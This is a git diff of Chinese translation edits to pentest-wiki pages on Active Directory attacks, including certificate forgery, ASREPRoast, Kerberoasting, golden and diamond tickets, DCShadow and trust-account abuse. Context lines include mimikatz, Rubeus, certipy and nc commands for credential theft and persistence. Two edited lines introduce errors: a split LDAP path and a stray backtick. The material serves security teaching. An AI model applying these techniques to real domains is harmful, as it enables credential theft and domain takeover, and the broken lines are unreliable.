+**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**，资源森林的**企业CA**证书被**添加到每个账户森林中的`NTAuthCertificates`和AIA容器**。为了澄清，这种安排赋予了资源森林中的**CA对其管理的所有其他森林的完全控制**。如果该CA被**攻击者妥协**，则资源森林和账户森林中所有用户的证书都可能被**伪造**，从而破坏森林的安全边界。
 
 ### 授予外部主体的注册权限
 
 在多森林环境中，必须谨慎对待**发布证书模板**的企业CA，这些模板允许**经过身份验证的用户或外部主体**（属于企业CA所属森林的外部用户/组）**注册和编辑权限**。\
 在信任关系中进行身份验证后，**经过身份验证的用户SID**会被AD添加到用户的令牌中。因此，如果一个域拥有一个企业CA，其模板**允许经过身份验证的用户注册权限**，则来自不同森林的用户可能会**注册该模板**。同样，如果**模板明确授予外部主体注册权限**，则**跨森林访问控制关系由此创建**，使得一个森林中的主体能够**注册另一个森林中的模板**。
 
-这两种情况都会导致**攻击面从一个森林增加到另一个森林**。攻击者可以利用证书模板的设置在外部域中获得额外权限。
+这两种情况都会导致**攻击面从一个森林增加到另一个森林**。攻击者可能利用证书模板的设置在外部域中获得额外权限。
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
index 2860e7a3a..b5201974e 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
@@ -13,9 +13,9 @@
 - 证书存储在 CA 服务器上，其私钥由机器的 DPAPI 保护，或者由操作系统支持的硬件（如 TPM/HSM）保护。
 - 证书的颁发者和主题字段与 CA 的区分名称匹配。
 - CA 证书中独有的存在“CA 版本”扩展。
-- 证书缺少扩展密钥使用 (EKU) 字段。
+- 证书缺少扩展密钥使用（EKU）字段。
 
-要提取此证书的私钥，可以通过 CA 服务器上的 `certsrv.msc` 工具使用内置 GUI 进行支持的方法。然而，这个证书与系统中存储的其他证书没有区别，因此可以应用 [THEFT2 技术](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) 进行提取。
+要提取此证书的私钥，可以通过 CA 服务器上的 `certsrv.msc` 工具使用内置 GUI 进行支持的方法。然而，这个证书与系统中存储的其他证书没有区别；因此，可以应用 [THEFT2 技术](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) 进行提取。
 
 证书和私钥也可以使用 Certipy 通过以下命令获得：
 ```bash
@@ -36,14 +36,14 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
 certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
 ```
 > [!WARNING]
-> 目标用户必须处于活动状态并能够在Active Directory中进行身份验证，以使证书伪造过程成功。伪造像krbtgt这样的特殊账户的证书是无效的。
+> 目标用户必须处于活动状态并能够在Active Directory中进行身份验证，以使证书伪造过程成功。伪造特殊账户（如krbtgt）的证书是无效的。
 
-此伪造证书将**有效**直到指定的结束日期，并且**只要根CA证书有效**（通常为5到**10年以上**）。它对**机器**也是有效的，因此结合**S4U2Self**，攻击者可以**在任何域机器上保持持久性**，只要CA证书有效。\
+此伪造证书将保持**有效**，直到指定的结束日期，并且**只要根CA证书有效**（通常为5到**10年以上**）。它对**机器**也是有效的，因此结合**S4U2Self**，攻击者可以**在任何域机器上保持持久性**，只要CA证书有效。\
 此外，使用此方法**生成的证书**是**无法被撤销**的，因为CA并不知道它们的存在。
 
 ## 信任恶意CA证书 - DPERSIST2
 
-`NTAuthCertificates`对象被定义为包含一个或多个**CA证书**，这些证书在其`cacertificate`属性中，Active Directory (AD) 使用该属性。**域控制器**的验证过程涉及检查`NTAuthCertificates`对象中是否有与身份验证**证书**的发行者字段中指定的**CA**匹配的条目。如果找到匹配项，则继续进行身份验证。
+`NTAuthCertificates`对象被定义为包含一个或多个**CA证书**，这些证书在其`cacertificate`属性中，Active Directory（AD）利用该属性。**域控制器**的验证过程涉及检查`NTAuthCertificates`对象中是否有与身份验证**证书**的颁发者字段中指定的**CA**匹配的条目。如果找到匹配项，则继续进行身份验证。
 
 攻击者可以将自签名CA证书添加到`NTAuthCertificates`对象中，前提是他们控制此AD对象。通常，只有**企业管理员**组的成员，以及**域管理员**或**森林根域**中的**管理员**，才被授予修改此对象的权限。他们可以使用`certutil.exe`通过命令`certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`编辑`NTAuthCertificates`对象，或者使用[**PKI健康工具**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)。
 
@@ -58,6 +58,6 @@ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
 - **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`**中的任何**后代AD对象或容器**（例如，证书模板容器、认证机构容器、NTAuthCertificates对象等）
 - **AD组默认或由组织委派控制AD CS的权限**（例如，内置的证书发布者组及其任何成员）
 
-恶意实施的一个示例是，具有**提升权限**的攻击者将**`WriteOwner`**权限添加到默认的**`User`**证书模板，攻击者成为该权限的主体。为了利用这一点，攻击者首先将**`User`**模板的所有权更改为自己。随后，**`mspki-certificate-name-flag`**将在模板上设置为**1**以启用**`ENROLLEE_SUPPLIES_SUBJECT`**，允许用户在请求中提供主题备用名称。随后，攻击者可以使用**模板**进行**注册**，选择**域管理员**名称作为备用名称，并利用获得的证书进行身份验证作为DA。
+恶意实施的一个示例是，具有**提升权限**的攻击者将**`WriteOwner`**权限添加到默认的**`User`**证书模板，攻击者成为该权限的主体。为了利用这一点，攻击者首先将**`User`**模板的所有权更改为自己。随后，**`mspki-certificate-name-flag`**将在模板上设置为**1**，以启用**`ENROLLEE_SUPPLIES_SUBJECT`**，允许用户在请求中提供主题备用名称。随后，攻击者可以使用**模板**进行**注册**，选择**域管理员**名称作为备用名称，并利用获得的证书进行身份验证作为DA。
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md
index 8d9007fff..7a5966886 100644
--- a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md
+++ b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md
@@ -1,11 +1,11 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 互联网上有几个博客**强调了将打印机配置为使用默认/弱**登录凭据的LDAP的危险。\
-这是因为攻击者可能**欺骗打印机向一个恶意的LDAP服务器进行身份验证**（通常一个`nc -vv -l -p 444`就足够了），并捕获打印机**以明文形式传输的凭据**。
+这是因为攻击者可能会**欺骗打印机向一个恶意的LDAP服务器进行身份验证**（通常`nc -vv -l -p 444`就足够了），并捕获打印机**以明文形式传输的凭据**。
 
 此外，一些打印机将包含**带有用户名的日志**，甚至可能能够**从域控制器下载所有用户名**。
 
-所有这些**敏感信息**和普遍的**安全缺失**使打印机对攻击者非常有吸引力。
+所有这些**敏感信息**和普遍的**安全缺失**使得打印机对攻击者非常有吸引力。
 
 关于该主题的一些博客：
 
@@ -45,7 +45,7 @@ sudo nc -k -v -l -p 386
 ```bash
 slapd -d 2
 ```
-## 参考
+## 参考文献
 
 - [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
 
diff --git a/src/windows-hardening/active-directory-methodology/asreproast.md b/src/windows-hardening/active-directory-methodology/asreproast.md
index 3306834c2..f20fef45d 100644
--- a/src/windows-hardening/active-directory-methodology/asreproast.md
+++ b/src/windows-hardening/active-directory-methodology/asreproast.md
@@ -4,7 +4,7 @@
 
 ## ASREPRoast
 
-ASREPRoast 是一种安全攻击，利用缺乏 **Kerberos 预身份验证所需属性** 的用户。基本上，这个漏洞允许攻击者向域控制器 (DC) 请求用户的身份验证，而无需用户的密码。然后，DC 会以用户的密码派生密钥加密的消息进行响应，攻击者可以尝试离线破解以发现用户的密码。
+ASREPRoast 是一种安全攻击，利用缺乏 **Kerberos 预身份验证所需属性** 的用户。基本上，这个漏洞允许攻击者向域控制器 (DC) 请求用户的身份验证，而无需用户的密码。然后，DC 用用户的密码派生密钥加密消息进行响应，攻击者可以尝试离线破解以发现用户的密码。
 
 此攻击的主要要求是：
 
@@ -33,7 +33,7 @@ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashc
 Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
 ```
 > [!WARNING]
-> 使用 Rubeus 进行 AS-REP Roasting 将生成一个 4768，加密类型为 0x17，预认证类型为 0。
+> 使用 Rubeus 进行 AS-REP Roasting 将生成一个 4768，加密类型为 0x17，预身份验证类型为 0。
 
 ### 破解
 ```bash
diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md
index 6076bd2a7..ee9bd4970 100644
--- a/src/windows-hardening/active-directory-methodology/bloodhound.md
+++ b/src/windows-hardening/active-directory-methodology/bloodhound.md
@@ -13,7 +13,7 @@
 AD Explorer 可以创建 AD 的快照，以便您可以离线检查。\
 它可以用于离线发现漏洞，或比较 AD 数据库在不同时间的不同状态。
 
-您需要提供用户名、密码和连接方向（需要任何 AD 用户）。
+您需要用户名、密码和连接方向（需要任何 AD 用户）。
 
 要创建 AD 的快照，请转到 `File` --> `Create Snapshot` 并输入快照的名称。
 
@@ -28,17 +28,17 @@ AD Explorer 可以创建 AD 的快照，以便您可以离线检查。\
 
 来自 [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
 
-> BloodHound 是一个单页面的 Javascript 网络应用程序，建立在 [Linkurious](http://linkurio.us/) 之上，使用 [Electron](http://electron.atom.io/) 编译，并配备一个由 C# 数据收集器提供数据的 [Neo4j](https://neo4j.com/) 数据库。
+> BloodHound 是一个单页面的 Javascript 网络应用程序，建立在 [Linkurious](http://linkurio.us/) 之上，使用 [Electron](http://electron.atom.io/) 编译，并通过 C# 数据收集器提供 [Neo4j](https://neo4j.com/) 数据库。
 
-BloodHound 使用图论来揭示 Active Directory 或 Azure 环境中隐藏的、通常是无意的关系。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径，这些路径在其他情况下将无法快速识别。防御者可以使用 BloodHound 识别并消除这些相同的攻击路径。蓝队和红队都可以使用 BloodHound 更深入地理解 Active Directory 或 Azure 环境中的权限关系。
+BloodHound 使用图论揭示 Active Directory 或 Azure 环境中隐藏的、通常是无意的关系。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径，这些路径在其他情况下将无法快速识别。防御者可以使用 BloodHound 识别并消除这些相同的攻击路径。蓝队和红队都可以使用 BloodHound 更深入地理解 Active Directory 或 Azure 环境中的权限关系。
 
 因此，[Bloodhound](https://github.com/BloodHoundAD/BloodHound) 是一个惊人的工具，可以自动枚举域，保存所有信息，查找可能的权限提升路径，并使用图形显示所有信息。
 
 BloodHound 由两个主要部分组成：**ingestors** 和 **visualisation application**。
 
-**ingestors** 用于 **枚举域并提取所有信息**，以便可视化应用程序理解的格式。
+**ingestors** 用于 **枚举域并提取所有信息**，以可被可视化应用程序理解的格式。
 
-**visualisation application 使用 neo4j** 来显示所有信息之间的关系，并展示在域中提升权限的不同方式。
+**visualisation application 使用 neo4j** 显示所有信息之间的关系，并展示在域中提升权限的不同方式。
 
 ### 安装
 
@@ -52,7 +52,7 @@ curl -L https://ghst.ly/getbhce | docker compose -f - up
 3. 在 Docker Compose 的终端输出中找到随机生成的密码。  
 4. 在浏览器中，导航到 http://localhost:8080/ui/login。使用用户名 admin 和日志中的随机生成密码登录。  
 
-之后，您需要更改随机生成的密码，您将准备好新的界面，从中可以直接下载 ingestors。  
+之后，您需要更改随机生成的密码，您将拥有新的界面，从中可以直接下载 ingestors。  
 
 ### SharpHound  
 
diff --git a/src/windows-hardening/active-directory-methodology/constrained-delegation.md b/src/windows-hardening/active-directory-methodology/constrained-delegation.md
index 24163be7d..4cfeaf7e7 100644
--- a/src/windows-hardening/active-directory-methodology/constrained-delegation.md
+++ b/src/windows-hardening/active-directory-methodology/constrained-delegation.md
@@ -1,19 +1,19 @@
-# 受限委派
+# Constrained Delegation
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## 受限委派
+## Constrained Delegation
 
-使用此功能，域管理员可以**允许**计算机**模拟用户或计算机**以访问机器的**服务**。
+使用此功能，域管理员可以**允许**计算机**冒充用户或计算机**以访问机器的**服务**。
 
-- **用户自我服务（**_**S4U2self**_**）：** 如果**服务账户**的_userAccountControl_值包含[TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D)，则它可以代表任何其他用户为自己（该服务）获取TGS。
-- **用户代理服务（**_**S4U2proxy**_**）：** **服务账户**可以代表任何用户为在**msDS-AllowedToDelegateTo**中设置的服务获取TGS。为此，它首先需要从该用户获取TGS，但可以使用S4U2self在请求另一个之前获取该TGS。
+- **Service for User to self (**_**S4U2self**_**):** 如果**服务账户**的_userAccountControl_值包含[TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D)，则它可以代表任何其他用户为自己（该服务）获取TGS。
+- **Service for User to Proxy(**_**S4U2proxy**_**):** **服务账户**可以代表任何用户为在**msDS-AllowedToDelegateTo**中设置的服务获取TGS。为此，它首先需要从该用户获取TGS，但可以使用S4U2self在请求另一个之前获取该TGS。
 
-**注意**：如果用户在AD中标记为‘_账户是敏感的，无法被委派_’，则您将**无法模拟**他们。
+**注意**：如果用户在AD中标记为‘_账户是敏感的，无法被委托_’，您将**无法冒充**他们。
 
-这意味着如果您**破解了服务的哈希**，您可以**模拟用户**并代表他们获得对**配置的服务**的**访问**（可能的**特权提升**）。
+这意味着如果您**破解了服务的哈希**，您可以**冒充用户**并代表他们获得对**配置的服务**的**访问**（可能的**特权提升**）。
 
-此外，您**不仅可以访问用户能够模拟的服务，还可以访问任何服务**，因为SPN（请求的服务名称）没有被检查，只有权限。因此，如果您可以访问**CIFS服务**，您也可以使用Rubeus中的`/altservice`标志访问**HOST服务**。
+此外，您**不仅可以访问用户能够冒充的服务，还可以访问任何服务**，因为SPN（请求的服务名称）没有被检查，只有权限。因此，如果您可以访问**CIFS服务**，您也可以使用Rubeus中的`/altservice`标志访问**HOST服务**。
 
 此外，**DC上的LDAP服务访问**是利用**DCSync**所需的。
 ```bash:Enumerate
diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md
index 686f15a81..22fb5d061 100644
--- a/src/windows-hardening/active-directory-methodology/custom-ssp.md
+++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md
@@ -4,7 +4,7 @@
 
 ### Custom SSP
 
-[了解什么是 SSP (Security Support Provider) 在这里。](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
+[了解什么是 SSP（安全支持提供者）这里。](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
 您可以创建您自己的 **SSP** 来 **捕获** 以 **明文** 形式使用的 **凭据** 以访问机器。
 
 #### Mimilib
diff --git a/src/windows-hardening/active-directory-methodology/dcshadow.md b/src/windows-hardening/active-directory-methodology/dcshadow.md
index ea9df5638..f86d3f38a 100644
--- a/src/windows-hardening/active-directory-methodology/dcshadow.md
+++ b/src/windows-hardening/active-directory-methodology/dcshadow.md
@@ -24,7 +24,7 @@ lsadump::dcshadow /push
 - _DS-Install-Replica_（在域中添加/删除副本）
 - _DS-Replication-Manage-Topology_（管理复制拓扑）
 - _DS-Replication-Synchronize_（复制同步）
-- 在 **配置容器** 中的 **站点对象**（及其子对象）：
+- **配置容器** 中的 **站点对象**（及其子对象）：
 - _CreateChild 和 DeleteChild_
 - 作为 DC 注册的 **计算机对象**：
 - _WriteProperty_（不是 Write）
@@ -61,7 +61,7 @@ lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attr
 - 在目标用户对象上：`(A;;WP;;;UserSID)`
 - 在配置容器中的站点对象上：`(A;CI;CCDC;;;UserSID)`
 
-要获取对象的当前 ACE：`(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl`
+要获取对象的当前 ACE：`(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl`
 
 请注意，在这种情况下，您需要进行 **多个更改，** 而不仅仅是一个。因此，在 **mimikatz1 会话**（RPC 服务器）中，使用参数 **`/stack` 进行每个更改。** 这样，您只需 **`/push`** 一次即可在流氓服务器上执行所有堆积的更改。
 
diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md
index b9e74608e..1b9325660 100644
--- a/src/windows-hardening/active-directory-methodology/dcsync.md
+++ b/src/windows-hardening/active-directory-methodology/dcsync.md
@@ -52,8 +52,8 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
 ### 缓解措施
 
 - 安全事件 ID 4662（对象的审计策略必须启用）– 对一个对象执行了操作
-- 安全事件 ID 5136（对象的审计策略必须启用）– 目录服务对象已被修改
-- 安全事件 ID 4670（对象的审计策略必须启用）– 对象的权限已被更改
+- 安全事件 ID 5136（对象的审计策略必须启用）– 目录服务对象被修改
+- 安全事件 ID 4670（对象的审计策略必须启用）– 对象的权限被更改
 - AD ACL 扫描器 - 创建和比较 ACL 的创建报告。 [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
 
 ## 参考文献
diff --git a/src/windows-hardening/active-directory-methodology/diamond-ticket.md b/src/windows-hardening/active-directory-methodology/diamond-ticket.md
index fff0ac414..be6a4ad55 100644
--- a/src/windows-hardening/active-directory-methodology/diamond-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/diamond-ticket.md
@@ -4,7 +4,7 @@
 
 ## Diamond Ticket
 
-**像金票一样**，钻石票是一个可以用来**以任何用户身份访问任何服务**的TGT。金票是完全离线伪造的，使用该域的krbtgt哈希加密，然后传递到登录会话中使用。由于域控制器不跟踪它（或他们）合法发出的TGT，因此它们会乐意接受使用其自身krbtgt哈希加密的TGT。
+**像金票一样**，钻石票是一个可以用来**以任何用户身份访问任何服务**的TGT。金票是完全离线伪造的，使用该域的krbtgt哈希加密，然后传递到登录会话中使用。由于域控制器不跟踪它（或他们）合法发出的TGT，它们会乐意接受使用其自身krbtgt哈希加密的TGT。
 
 检测金票使用的两种常见技术是：
 
diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
index 2a6581b21..fa6e39f96 100644
--- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
+++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
@@ -30,15 +30,15 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F
 ```
 ## 信任账户攻击
 
-当在两个域之间建立信任关系时，存在安全漏洞，这里将其标识为域 **A** 和域 **B**，其中域 **B** 将其信任扩展到域 **A**。在这种设置中，在域 **A** 中为域 **B** 创建了一个特殊账户，该账户在两个域之间的身份验证过程中发挥着关键作用。与域 **B** 关联的此账户用于加密访问跨域服务的票证。
+当在两个域之间建立信任关系时，存在安全漏洞，这里将两个域分别称为域 **A** 和域 **B**，其中域 **B** 将其信任扩展到域 **A**。在这种设置中，在域 **A** 中为域 **B** 创建了一个特殊账户，该账户在两个域之间的身份验证过程中发挥着关键作用。与域 **B** 关联的此账户用于加密访问跨域服务的票证。
 
-这里需要理解的关键点是，可以使用命令行工具从域 **A** 的域控制器中提取此特殊账户的密码和哈希。执行此操作的命令是：
+这里需要理解的关键点是，可以使用命令行工具从域 **A** 的域控制器中提取此特殊账户的密码和哈希值。执行此操作的命令是：
 ```powershell
 Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
 ```
 此提取之所以可能，是因为该账户在其名称后带有 **$**，处于活动状态，并且属于域 **A** 的“域用户”组，从而继承了与该组相关的权限。这使得个人能够使用该账户的凭据对域 **A** 进行身份验证。
 
-**警告：** 利用这种情况可以作为用户在域 **A** 中获得立足点，尽管权限有限。然而，这种访问足以对域 **A** 进行枚举。
+**警告：** 利用这种情况在域 **A** 中作为用户获得立足点是可行的，尽管权限有限。然而，这种访问足以对域 **A** 进行枚举。
 
 在 `ext.local` 是信任域而 `root.local` 是被信任域的场景中，将在 `root.local` 中创建一个名为 `EXT$` 的用户账户。通过特定工具，可以转储 Kerberos 信任密钥，从而揭示 `root.local` 中 `EXT$` 的凭据。实现此目的的命令是：
 ```bash
@@ -54,7 +54,7 @@ lsadump::trust /patch
 ```
 ### 收集明文信任密码
 
-在之前的流程中使用了信任哈希，而不是 **明文密码**（该密码也被 **mimikatz** 导出）。
+在之前的流程中，使用了信任哈希而不是 **明文密码**（该密码也被 **mimikatz** 导出）。
 
 明文密码可以通过将 mimikatz 的 \[ CLEAR ] 输出从十六进制转换并去除空字节 ‘\x00’ 来获得：
 
@@ -62,11 +62,11 @@ lsadump::trust /patch
 
 有时在创建信任关系时，用户必须输入信任的密码。在这个演示中，密钥是原始信任密码，因此是人类可读的。随着密钥的循环（30 天），明文将不再是人类可读的，但在技术上仍然可用。
 
-明文密码可以用来作为信任账户执行常规身份验证，作为使用信任账户的 Kerberos 秘密密钥请求 TGT 的替代方案。在这里，从 ext.local 查询 root.local 的 Domain Admins 成员：
+明文密码可以用来作为信任账户执行常规身份验证，作为请求信任账户的 Kerberos 秘钥的 TGT 的替代方案。在这里，从 ext.local 查询 root.local 的 Domain Admins 成员：
 
 ![](<../../images/image (792).png>)
 
-## 参考
+## 参考文献
 
 - [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted)
 
diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
index b2cbd478d..2bcd0c71d 100644
--- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
+++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
@@ -60,7 +60,7 @@ IsDomain     : True
 
 ## 初始访问
 
-如果你 **无法** 在其他域中找到任何 **特殊** 访问权限，你仍然可以回到 AD 方法论，尝试从 **无特权用户** 提升权限（例如 kerberoasting）：
+如果你 **无法** 在其他域中找到你的用户的任何 **特殊** 访问权限，你仍然可以回到 AD 方法论，尝试从 **无特权用户** 提升权限（例如，进行 kerberoasting）：
 
 你可以使用 **Powerview 函数** 通过 `-Domain` 参数来 **枚举** **其他域**，如：
 ```powershell
@@ -102,7 +102,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
 
 # Now you have a TGS to access the CIFS service of the domain controller
 ```
-### 完整的用户冒充方式
+### 完全方式冒充用户
 ```bash
 # Get a TGT of the user with cross-domain permissions
 Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md
index e2bd15e4e..3376ec3e1 100644
--- a/src/windows-hardening/active-directory-methodology/golden-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md
@@ -4,7 +4,7 @@
 
 ## Golden ticket
 
-**Golden Ticket** 攻击是指通过使用 **Active Directory (AD) krbtgt 账户的 NTLM 哈希** 来 **创建一个合法的票据授权票 (TGT)，冒充任何用户**。这种技术特别有利，因为它 **使冒充的用户能够访问域内的任何服务或机器**。重要的是要记住，**krbtgt 账户的凭据从不自动更新**。
+**Golden Ticket** 攻击是指通过使用 **Active Directory (AD) krbtgt 账户的 NTLM 哈希** 来 **创建一个合法的票据授权票据 (TGT)，以冒充任何用户**。这种技术特别有利，因为它 **使冒充的用户能够访问域内的任何服务或机器**。重要的是要记住，**krbtgt 账户的凭据从不自动更新**。
 
 要 **获取 krbtgt 账户的 NTLM 哈希**，可以采用多种方法。它可以从 **本地安全授权子系统服务 (LSASS) 进程** 或位于域内任何域控制器 (DC) 上的 **NT 目录服务 (NTDS.dit) 文件** 中提取。此外，**执行 DCsync 攻击** 是获取此 NTLM 哈希的另一种策略，可以使用 **Mimikatz 中的 lsadump::dcsync 模块** 或 **Impacket 的 secretsdump.py 脚本** 来执行。需要强调的是，进行这些操作通常需要 **域管理员权限或类似级别的访问权限**。
 
@@ -28,7 +28,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
 
 ### 绕过常见检测
 
-检测金票的最常见方法是通过**检查网络上的Kerberos流量**。默认情况下，Mimikatz**将TGT签名为10年**，这在后续使用它的TGS请求中会显得异常。
+检测金票的最常见方法是通过**检查网络上的Kerberos流量**。默认情况下，Mimikatz**将TGT签名为10年**，这将在后续使用它的TGS请求中显得异常。
 
 `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
 
@@ -36,7 +36,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
 ```
 Get-DomainPolicy | select -expand KerberosPolicy
 ```
-不幸的是，TGT 的生命周期不会在 4769 中记录，因此您无法在 Windows 事件日志中找到此信息。然而，您可以关联的是 **看到 4769 而没有先前的 4768**。**没有 TGT 是无法请求 TGS 的**，如果没有记录显示 TGT 被发放，我们可以推断它是离线伪造的。
+不幸的是，TGT 的生命周期不会在 4769 中记录，因此您无法在 Windows 事件日志中找到此信息。然而，您可以关联的是 **看到 4769 而没有先前的 4768**。**没有 TGT 是无法请求 TGS 的**，如果没有 TGT 被发出的记录，我们可以推断它是离线伪造的。
 
 为了 **绕过此检测**，请检查 diamond tickets：
 
diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md
index 2b08a2312..943124075 100644
--- a/src/windows-hardening/active-directory-methodology/kerberoast.md
+++ b/src/windows-hardening/active-directory-methodology/kerberoast.md
@@ -6,7 +6,7 @@
 
 Kerberoasting 侧重于获取 **TGS tickets**，特别是与 **Active Directory (AD)** 中 **用户账户** 相关的服务，排除 **计算机账户**。这些票证的加密使用源自 **用户密码** 的密钥，从而允许 **离线凭证破解** 的可能性。使用用户账户作为服务的标志是 **"ServicePrincipalName"** 属性非空。
 
-执行 **Kerberoasting** 需要一个能够请求 **TGS tickets** 的域账户；然而，这个过程并不需要 **特殊权限**，使得任何拥有 **有效域凭证** 的人都可以访问。
+要执行 **Kerberoasting**，需要一个能够请求 **TGS tickets** 的域账户；然而，这个过程并不需要 **特殊权限**，使得任何拥有 **有效域凭证** 的人都可以访问。
 
 ### 关键点：
 
@@ -19,7 +19,7 @@ Kerberoasting 侧重于获取 **TGS tickets**，特别是与 **Active Directory
 
 > [!WARNING]
 > **Kerberoasting 工具** 通常在执行攻击和发起 TGS-REQ 请求时请求 **`RC4 encryption`**。这是因为 **RC4 是** [**较弱的**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795)，并且比其他加密算法如 AES-128 和 AES-256 更容易使用工具如 Hashcat 进行离线破解。\
-> RC4 (类型 23) 哈希以 **`$krb5tgs$23$*`** 开头，而 AES-256 (类型 18) 以 **`$krb5tgs$18$*`** 开头。
+> RC4 (类型 23) 哈希以 **`$krb5tgs$23$*`** 开头，而 AES-256 (类型 18) 以 **`$krb5tgs$18$*`** 开头。`
 ```bash
 # Metasploit framework
 msf> use auxiliary/gather/get_user_spns
@@ -37,14 +37,14 @@ adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
 ```
 #### Windows
 
-- **枚举可进行 Kerberoast 的用户**
+- **枚举可Kerberoast的用户**
 ```powershell
 # Get Kerberoastable users
 setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
 Get-NetUser -SPN | select serviceprincipalname #Powerview
 .\Rubeus.exe kerberoast /stats
 ```
-- **技术 1：请求 TGS 并从内存中转储**
+- **技术 1：请求 TGS 并从内存中转储它**
 ```powershell
 #Get TGS in memory from a single user
 Add-Type -AssemblyName System.IdentityModel
@@ -95,7 +95,7 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
 ```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
 ```
-您可以在此处找到用于 **kerberoast** 攻击的有用 **tools**: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
+您可以在这里找到用于 **kerberoast** 攻击的有用 **tools**: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
 
 如果您在 Linux 中发现此 **error**: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`**，这可能是由于您的本地时间，您需要将主机与 DC 同步。有几个选项：
 
@@ -104,12 +104,12 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whatever
 
 ### Mitigation
 
-如果可利用，Kerberoasting 可以以高度隐蔽的方式进行。为了检测此活动，应关注 **Security Event ID 4769**，该事件表明已请求 Kerberos 票证。然而，由于此事件的高频率，必须应用特定过滤器以隔离可疑活动：
